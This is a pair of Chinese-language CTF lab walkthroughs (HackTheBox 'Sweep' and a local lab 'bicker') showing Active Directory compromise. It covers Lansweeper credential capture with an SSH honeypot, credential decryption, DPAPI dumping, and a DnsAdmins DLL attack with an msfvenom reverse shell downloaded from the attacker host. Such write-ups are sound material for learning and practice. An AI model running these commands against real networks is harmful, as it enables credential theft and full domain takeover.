SMB         10.129.203.20   445    INVENTORY        [*] Windows Server 2022 Build 20348 x64 (name:INVENTORY) (domin:sweep.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.203.20   445    INVENTORY        [+] sweep.vl\intern:intern 
SMB         10.129.203.20   445    INVENTORY        [*] Enumerated shares
SMB         10.129.203.20   445    INVENTORY        Share           Permissions     Remark
SMB         10.129.203.20   445    INVENTORY        -----           -----------     ------
SMB         10.129.203.20   445    INVENTORY        ADMIN$                          Remote Admin
SMB         10.129.203.20   445    INVENTORY        C$                              Default share
SMB         10.129.203.20   445    INVENTORY        DefaultPackageShare$ READ            Lansweeper PackageShare
SMB         10.129.203.20   445    INVENTORY        IPC$            READ            Remote IPC
SMB         10.129.203.20   445    INVENTORY        Lansweeper$     READ            Lansweeper Actions
SMB         10.129.203.20   445    INVENTORY        NETLOGON        READ            Logon server share 
SMB         10.129.203.20   445    INVENTORY        SYSVOL          READ            Logon server share 


┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ nxc winrm $ip -u $user -p $user
WINRM       10.129.203.20   5985   INVENTORY        [*] Windows Server 2022 Build 20348 (name:INVENTORY) (domain:sweep.vl) 
WINRM       10.129.203.20   5985   INVENTORY        [-] sweep.vl\intern:intern

没有winrm权限，新权限能查看的Lansweeper$目录并没有有意思的内容，放猎犬

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ bloodhound-python -d $domain -c ALL -u $user -p $pass -ns $ip --zip
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: sweep.vl
INFO: Getting TGT for user
INFO: Connecting to LDAP server: inventory.sweep.vl
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: inventory.sweep.vl
INFO: Found 17 users
INFO: Found 54 groups
INFO: Found 2 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: inventory.sweep.vl
INFO: Done in 00M 49S
INFO: Compressing output into 20250827100014_bloodhound.zip

这个用户没有出站，但是能看到有个额外的域管，或许后面会有用

ssh蜜罐

这个用户局外没什么用了，用来登陆管理平台试试

这个用户并不够权限执行我枚举到的后台shell利用

在上方的扫描凭据接口，我找到了一些凭据，但是都通过加密，需要凭据验证

reddit的这个用户发言让我理解了该做什么，Lansweeper 将使用 Kerberos 身份验证，这样凭据本身就不会被发送到被扫描的计算机，但是 Linux 不具备这种配置，它所作的只是利用我们指定的凭据进行ssh登陆而已，所以我们可以配置一个蜜罐用于劫持登陆

这是个小型的ssh蜜罐

https://github.com/jaksi/sshesame

我们将沙箱配置在2222端口上，因为靶机已经提示了配置了22的防火墙

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ vim server.conf

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ cat server.conf 
server:
  listen_address: 10.10.16.22:2222

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ ./sshesame-linux-amd64 --config server.conf 
INFO 2025/08/27 10:23:01 No host keys configured, using keys at "/home/wackymaker/.local/share/sshesame"
INFO 2025/08/27 10:23:01 Host key "/home/wackymaker/.local/share/sshesame/host_rsa_key" not found, generating it
INFO 2025/08/27 10:23:01 Host key "/home/wackymaker/.local/share/sshesame/host_ecdsa_key" not found, generating it
INFO 2025/08/27 10:23:01 Host key "/home/wackymaker/.local/share/sshesame/host_ed25519_key" not found, generating it
INFO 2025/08/27 10:23:01 Listening on 10.10.16.22:2222

在扫描凭证-添加扫描目标中，选择扫描ip范围，选定我们蜜罐的范围，并选择2222端口（只显示22是因为它只显示两位数字）

并且在扫描凭据这里，将凭据映射绑定到ip范围的linux主机上，这样它就会利用保存凭证进行ssh登陆我们的蜜罐

回到扫描目标开始扫描并返回蜜罐等待

┌──(wackymaker?kali)-[~/tmp/hackthebox/sweep]
└─$ ./sshesame-linux-amd64 --config server.conf 
INFO 2025/08/27 10:23:01 No host keys configured, using keys at "/home/wackymaker/.local/share/sshesame"
INFO 2025/08/27 10:23:01 Host key "/home/wackymaker/.local/share/sshesame/host_rsa_key" not found, generating it
INFO 2025/08/27 10:23:01 Host key "/home/wackymaker/.local/share/sshesame/host_ecdsa_key" not found, generating it
INFO 2025/08/27 10:23:01 Host key "/home/wackymaker/.local/share/sshesame/host_ed25519_key" not found, generating it
INFO 2025/08/27 10:23:01 Listening on 10.10.16.22:2222
WARNING 2025/08/27 10:33:50 Failed to accept connection: Failed to establish SSH server connection: EOF
WARNING 2025/08/27 10:34:00 Failed to accept connection: Failed to establish SSH server connection: ssh: disconnect, reason 11: Session closed
2025/08/27 10:34:01 [10.129.203.20:61012] authentication for user "svc_inventory_lnx" without credentials rejected
2025/08/27 10:34:01 [10.129.203.20:61012] authentication for user "svc_inventory_lnx" with password "0|5m-U6?/uAX" accepted
2025/08/27 10:34:01 [10.129.203.20:61012] connection with client version "SSH-2.0-RebexSSH_5.0.8372.0" established
2025/08/27 10:34:02 [10.129.203.20:61012] [channel 0] session requested
2025/08/27 10:34:02 [10.129.203.20:61012] [channel 0] command "uname" requested
2025/08/27 10:34:02 [10.129.203.20:61012] [channel 0] closed
2025/08/27 10:34:02 [10.129.203.20:61012] connection closed
2025/08/27 10:34:03 [10.129.203.20:61014] authentication for user "svc_inventory_lnx" without credentials rejected
2025/08/27 10:34:04 [10.129.203.20:61014] authentication for user "svc_inventory_lnx" with password "0|5m-U6?/uAX" accepted
2025/08/27 10:34:04 [10.129.203.20:61014] connection with client version "SSH-2.0-RebexSSH_5.0.8372.0" established
2025/08/27 10:34:04 [10.129.203.20:61014] [channel 0] session requested
2025/08/27 10:34:04 [10.129.203.20:61014] [channel 0] PTY using terminal "xterm" (size 80x25) requested
2025/08/27 10:34:05 [10.129.203.20:61014] [channel 0] shell requested
2025/08/27 10:34:05 [10.129.203.20:61014] [channel 0] input: "smclp"
2025/08/27 10:34:05 [10.129.203.20:61014] [channel 0] input: "show system1"
WARNING 2025/08/27 10:34:15 Error sending CRLF: EOF
2025/08/27 10:34:15 [10.129.203.20:61014] [channel 0] closed
2025/08/27 10:34:15 [10.129.203.20:61014] connection closed

成功劫持用户凭证

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ echo user1=svc_inventory_lnx>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ echo pass1='0|5m-U6?/uAX'>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ vim start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ . start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ echo $pass1
0|5m-U6?/uAX

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ nxc smb $ip -u $user1 -p $pass1
SMB         10.129.203.20   445    INVENTORY        [*] Windows Server 2022 Build 20348 x64 (name:INVENTORY) (domin:sweep.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.203.20   445    INVENTORY        [+] sweep.vl\svc_inventory_lnx:0|5m-U6?/uAX 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ nxc winrm $ip -u $user1 -p $pass1
WINRM       10.129.203.20   5985   INVENTORY        [*] Windows Server 2022 Build 20348 (name:INVENTORY) (domain:sweep.vl) 
WINRM       10.129.203.20   5985   INVENTORY        [-] sweep.vl\svc_inventory_lnx:0|5m-U6?/uAX

存在权限但是没有winrm，回头这个用户的猎犬

有出站，可以将自己添加入LANSWEEPER ADMINS组，并且LANSWEEPER ADMINS组属于远程管理组

远程加入组成功

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ bloodyAD --host "$ip" -d "$domain" -u $user1 -p $pass1 add groupMember "LANSWEEPER ADMINS" "$user"
[+] svc_inventory_lnx added to LANSWEEPER ADMINS

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ nxc winrm $ip -u $user1 -p $pass1
WINRM       10.129.203.20   5985   INVENTORY        [*] Windows Server 2022 Build 20348 (name:INVENTORY) (domain:sweep.vl) 
WINRM       10.129.203.20   5985   INVENTORY        [+] sweep.vl\svc_inventory_lnx:0|5m-U6?/uAX (Pwn3d!)

登陆获取user.txt

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ evil-winrm -i $ip -u $user1 -p $pass1
                                        
Evil-WinRM shell v3.7 
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline 
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion 
                                        
Info: Establishing connection to remote endpoint 
*Evil-WinRM* PS C:\Users\svc_inventory_lnx\Documents> cd ../../../
*Evil-WinRM* PS C:\> dir


    Directory: C:\


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         7/31/2025   4:06 AM                inetpub
d-----          5/8/2021   1:20 AM                PerfLogs
d-r---         7/28/2025   4:38 PM                Program Files
d-----          2/8/2024  12:17 PM                Program Files (x86)
d-r---         8/27/2025   7:43 AM                Users
d-----         7/31/2025   4:11 AM                Windows
-a----          8/5/2025   5:45 AM             33 user.txt


*Evil-WinRM* PS C:\> type user.txt
d2d89a8******************165

提权

钻了一会兔子洞，dpapi没有信息，winpeas扫到了Lansweeper的凭证信息位于

*Evil-WinRM* PS C:\> cd 'C:\Program Files (x86)\Lansweeper\Key'
*Evil-WinRM* PS C:\Program Files (x86)\Lansweeper\Key> dir


    Directory: C:\Program Files (x86)\Lansweeper\Key


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          2/8/2024  11:48 AM           1024 Encryption.txt

但是它是加密的，我们可以简单枚举一下就找到能利用的工具

https://github.com/Yeeb1/SharpLansweeperDecrypt

环境应该存在一定的防护，但是我懒得检测，evil的上传失效，所以起py传上去

*Evil-WinRM* PS C:\windows\tasks> certutil -urlcache -split -f http://10.10.16.22/LansweeperDecrypt.ps1 C:\windows\tasks\LansweeperDecrypt.ps1
****  Online  ****
  0000  ...
  10b3
CertUtil: -URLCache command completed successfully

powershell运行后会自动解密凭证库

*Evil-WinRM* PS C:\windows\tasks> powershell .\LansweeperDecrypt.ps1
[+] Loading web.config file...
[+] Found protected connectionStrings section. Decrypting...
[+] Decrypted connectionStrings section:
<connectionStrings>
    <add name="lansweeper" connectionString="Data Source=(localdb)\.\LSInstance;Initial Catalog=lansweeperdb;Integrated Security=False;User ID=lansweeperuser;Password=Uk2)Dw3!Wf1)Hh;Connect Timeout=10;Application Name=&quot;LsService Core .Net SqlClient Data Provider&quot;" providerName="System.Data.SqlClient" />
</connectionStrings>
[+] Opening connection to the database...
[+] Retrieving credentials from the database...
[+] Decrypting password for user: SNMP Community String
[+] Decrypting password for user:
[+] Decrypting password for user: SWEEP\svc_inventory_win
[+] Decrypting password for user: svc_inventory_lnx
[+] Credentials retrieved and decrypted successfully:

CredName          Username                Password
--------          --------                --------
SNMP-Private      SNMP Community String   private
Global SNMP                               public
Inventory Windows SWEEP\svc_inventory_win 4^56!sK&}eA?
Inventory Linux   svc_inventory_lnx       0|5m-U6?/uAX


[+] Database connection closed.
*Evil-WinRM* PS C:\windows\tasks>

还记得吗，这个win是域管，所以直接登陆获得root

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ echo user2=svc_inventory_win>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ echo pass2='4^56!sK&}eA?'>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ vim start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ . start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ echo $pass2
4^56!sK&}eA?

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ evil-winrm -i $ip -u $user2 -p $pass2
                                        
Evil-WinRM shell v3.7 
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline 
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion 
                                        
Info: Establishing connection to remote endpoint 
*Evil-WinRM* PS C:\Users\svc_inventory_win\Documents> cd ../desk*
*Evil-WinRM* PS C:\Users\svc_inventory_win\Desktop> type root.txt
Cannot find path 'C:\Users\svc_inventory_win\Desktop\root.txt' because it does not exist.
At line:1 char:1
+ type root.txt
+ ~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (C:\Users\svc_in...esktop\root.txt:String) [Get-Content], ItemNotFoundException
    + FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.GetContentCommand
*Evil-WinRM* PS C:\Users\svc_inventory_win\Desktop> cd ../../administrator/des*
*Evil-WinRM* PS C:\Users\administrator\Desktop> type root.txt
71770ae*****************77cc65

不算难的机器，但是有少许兔子洞，挺好玩的

bicker-wp

Mon, 25 Aug 2025 15:15:18 +0800

信息收集

主机确认

┌──(wackymaker㉿kali)-[~/tmp/synthetic/bicker]
└─$ echo ip=192.168.174.143>start.sh

┌──(wackymaker㉿kali)-[~/tmp/synthetic/bicker]
└─$ . start.sh 

┌──(wackymaker㉿kali)-[~/tmp/synthetic/bicker]
└─$ ping $ip
PING 192.168.174.143 (192.168.174.143) 56(84) bytes of data.
64 bytes from 192.168.174.143: icmp_seq=1 ttl=128 time=0.691 ms
64 bytes from 192.168.174.143: icmp_seq=2 ttl=128 time=1.27 ms

端口扫描

┌──(wackymaker㉿kali)-[~/tmp/synthetic/bicker]
└─$ rustscan -a $ip
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
You miss 100% of the ports you don't scan. - RustScan

[~] The config file is expected to be at "/home/wackymaker/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.174.143:53
Open 192.168.174.143:88
Open 192.168.174.143:135
Open 192.168.174.143:139
Open 192.168.174.143:389
Open 192.168.174.143:445
Open 192.168.174.143:464
Open 192.168.174.143:593
Open 192.168.174.143:636
Open 192.168.174.143:3268
Open 192.168.174.143:3269
Open 192.168.174.143:3389
Open 192.168.174.143:5357
Open 192.168.174.143:5985
Open 192.168.174.143:9389

简单扫描了一下确认为dc域控，那就不详细扫描了直接测试主要端口

突破边界

存在smb匿名，直接连接puppy，发现一张图片

一张意义不明的图片

查看元数据，察觉到不对劲的地方

┌──(wackymaker㉿kali)-[~/tmp/synthetic/bicker]
└─$ exiftool puppy.jpg 
ExifTool Version Number         : 13.10
File Name                       : puppy.jpg
Directory                       : .
File Size                       : 58 kB
File Modification Date/Time     : 2025:08:15 21:50:13-04:00
File Access Date/Time           : 2025:08:15 21:50:50-04:00
File Inode Change Date/Time     : 2025:08:15 21:50:13-04:00
File Permissions                : -rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : inches
X Resolution                    : 1200
Y Resolution                    : 1200
Exif Byte Order                 : Little-endian (Intel, II)
Image Description               : bilibili
Orientation                     : Horizontal (normal)
Software                        : Google
Artist                          : uid=3546958956333518
Exif Version                    : 0220
Exif Image Width                : 620
Exif Image Height               : 381
Image Width                     : 620
Image Height                    : 381
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 620x381
Megapixels                      : 0.236

在其中发现bilibili以及uid关键字，去b站查找到定位账号

从该用户个人动态获取泄露信息，获取账号密码

tindalos/Th3C@ll0fCtHu1hu!

测试连接成功，获取user

┌──(wackymaker㉿kali)-[~/tmp/synthetic/bicker]
└─$ echo user1=tindalos>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/synthetic/bicker]
└─$ echo pass1='Th3C@ll0fCtHu1hu!'>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/synthetic/bicker]
└─$ . start.sh 

┌──(wackymaker㉿kali)-[~/tmp/synthetic/bicker]
└─$ evil-winrm -i $ip -u $user1 -p $pass1
                                        
Evil-WinRM shell v3.7 
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline 
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion 
                                        
Info: Establishing connection to remote endpoint 
*Evil-WinRM* PS C:\Users\tindalos\Documents> cd ../
*Evil-WinRM* PS C:\Users\tindalos> cd desk*
*Evil-WinRM* PS C:\Users\tindalos\Desktop> type user.txt
user{f3a9d2b1c4e87a5f6d9b}
*Evil-WinRM* PS C:\Users\tindalos\Desktop>

域内提权

tindalos是dnsadmin的组员

组名                                        类型   SID                                          属性
=========================================== ====== ============================================ ======================================
Everyone                                    已知组 S-1-1-0                                      必需的组, 启用于默认, 启用的组
BUILTIN\Remote Desktop Users                别名   S-1-5-32-555                                 必需的组, 启用于默认, 启用的组
BUILTIN\Remote Management Users             别名   S-1-5-32-580                                 必需的组, 启用于默认, 启用的组
BUILTIN\Users                               别名   S-1-5-32-545                                 必需的组, 启用于默认, 启用的组
BUILTIN\Pre-Windows 2000 Compatible Access  别名   S-1-5-32-554                                 必需的组, 启用于默认, 启用的组
NT AUTHORITY\NETWORK                        已知组 S-1-5-2                                      必需的组, 启用于默认, 启用的组
NT AUTHORITY\Authenticated Users            已知组 S-1-5-11                                     必需的组, 启用于默认, 启用的组
NT AUTHORITY\This Organization              已知组 S-1-5-15                                     必需的组, 启用于默认, 启用的组
BICKER\DnsAdmins                            别名   S-1-5-21-298176814-2846777796-698167141-1101 必需的组, 启用于默认, 启用的组, 本地组
NT AUTHORITY\NTLM Authentication            已知组 S-1-5-64-10                                  必需的组, 启用于默认, 启用的组
Mandatory Label\Medium Plus Mandatory Level 标签   S-1-16-8448

dnsadmin可以为dns注册黑dll，下次服务重启会获得system，但是我们没有重启服务的权限，于是抓个猎犬

nxc ldap "$ip" -u "$user1" -p "$pass1" --bloodhound --collection All --dns-server "$ip"

这里我为了方便利用nxc去抓取，并且因为本地部署不影响，正常情况大家还是使用其他工具比较稳定

tindalos并未有稳定的出站，但是我找到了一个有意思的组

存在一个dns重启组，我们假定它存在重启dns的权限，总之我们没获得什么特别有用的信息，于是回头看tindalos

应用以及桌面都没有信息，转头去看dpapi,注意由于我们域环境首先查看的是Roaming也就是游离保存，域凭证一般会利用Roaming保存，而local是本机凭证保存，如果没有信息的话后续再观察

*Evil-WinRM* PS C:\Users\tindalos\AppData> dir


    目录: C:\Users\tindalos\AppData


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         8/15/2025   5:22 PM                Local
d-----         8/15/2025  11:18 AM                LocalLow
d-----         8/15/2025  11:18 AM                Roaming

发现确实存在保存凭证

*Evil-WinRM* PS C:\Users\tindalos\AppData\Roaming\Microsoft\Credentials> ls -force


    目录: C:\Users\tindalos\AppData\Roaming\Microsoft\Credentials


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-         8/15/2025   6:26 PM            326 A2E4656BCBABFD9279E090E8482A7141

将其与masterkey一块抓取到本地解密

    目录: C:\Users\tindalos\AppData\Roaming\Microsoft\Protect\S-1-5-21-298176814-2846777796-698167141-1103


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-         8/15/2025  11:18 AM            900 BK-BICKER
-a-hs-         8/15/2025   6:11 PM            740 cb5f08bd-480d-4d6e-9d2d-1d18c94fcb74
-a-hs-         8/15/2025   6:11 PM             24 Preferred

利用tindalos的sid，密码，masterkey文件解密

┌──(wackymaker㉿kali)-[~/tmp/synthetic/bicker]
└─$ impacket-dpapi masterkey -file cb5f08bd-480d-4d6e-9d2d-1d18c94fcb74 -sid S-1-5-21-298176814-2846777796-698167141-1103 -password 'Th3C@ll0fCtHu1hu!'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[MASTERKEYFILE]
Version     :        2 (2)
Guid        : cb5f08bd-480d-4d6e-9d2d-1d18c94fcb74
Flags       :        0 (0)
Policy      :        0 (0)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)

Decrypted key with User Key (MD4 protected)
Decrypted key: 0x0ff22e711e14912c168ec3943e2478081930413b24795f45028bf15992aebc0b5b0954128398441a4c2578c90e5c2da71bc678d8d5a4e66836e9f083e20eeb27

再利用解密出来的masterkey解密cert

┌──(wackymaker㉿kali)-[~/tmp/synthetic/bicker]
└─$ impacket-dpapi credential -file A2E4656BCBABFD9279E090E8482A7141 -key 0x0ff22e711e14912c168ec3943e2478081930413b24795f45028bf15992aebc0b5b0954128398441a4c2578c90e5c2da71bc678d8d5a4e66836e9f083e20eeb27Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[CREDENTIAL]
LastWritten : 2025-08-15 10:26:22
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target      : Domain:target=LOCALMACHINE
Description : 
Unknown     : 
Username    : lihua
Unknown     : hello%2633

成功解密出lihua的账户密码

并且能成功登陆，查看猎犬

发现lihua属于账户操作员组，对低权限所有用户都有通用掌控，于是我们直接能直接修改dns重启员的账户

bloodyAD --host <DC_IP> -d <域名> -u <管理员用户名> -p <管理员密码> set password <目标用户> <新密码>

利用修改账号密码登陆

dnsadmin利用提权

简单来说dnsadmin能给dns服务注册一个插件dll，我们能将其替换为恶意dll，之后等待机器重启，或者能操控dns服务重启后，我们会在服务自检断开前获得少于一分钟的system权限

但是需要注意注册dll的次数只有一次，所以靶机作者也在jianyin用户桌面留了信息，在进行下一步前请保存快照

首先生成一个msf恶意dll载荷

┌──(wackymaker㉿kali)-[~/tmp/synthetic/bicker]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.174.129 LPORT=443 -f dll -o rev.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 9216 bytes
Saved as: rev.dll

传递到靶机上，因为联网的defender远程加载难以通过，而作者在根目录设置了白名单文件夹作于便利

*Evil-WinRM* PS C:\wirteTEMP> type re*
此目录已经设置了defender白名单，不想处理免杀的可以随意使用此目录

不要使用evil-winrm上传，因为evil-winrm的bug，看上去上传成功其实长度是0

Invoke-WebRequest -Uri "http://192.168.174.129/rev.dll" -OutFile "C:\wirteTEMP\rev.dll"

还是使用古法上传，之后利用tindalos注册此dll

注意这一步是无法回头的，注意快照

之后在jianyin用户上重启服务

从另外一边的监听直接接受shell

权限为system成功获取rootflag

如果在这里没有完成操作shell就断了是正常了，服务异常自检失败后shell会断连，但是只要注册dll成功，我们随时都能通过重启获得这个shell，所以无所谓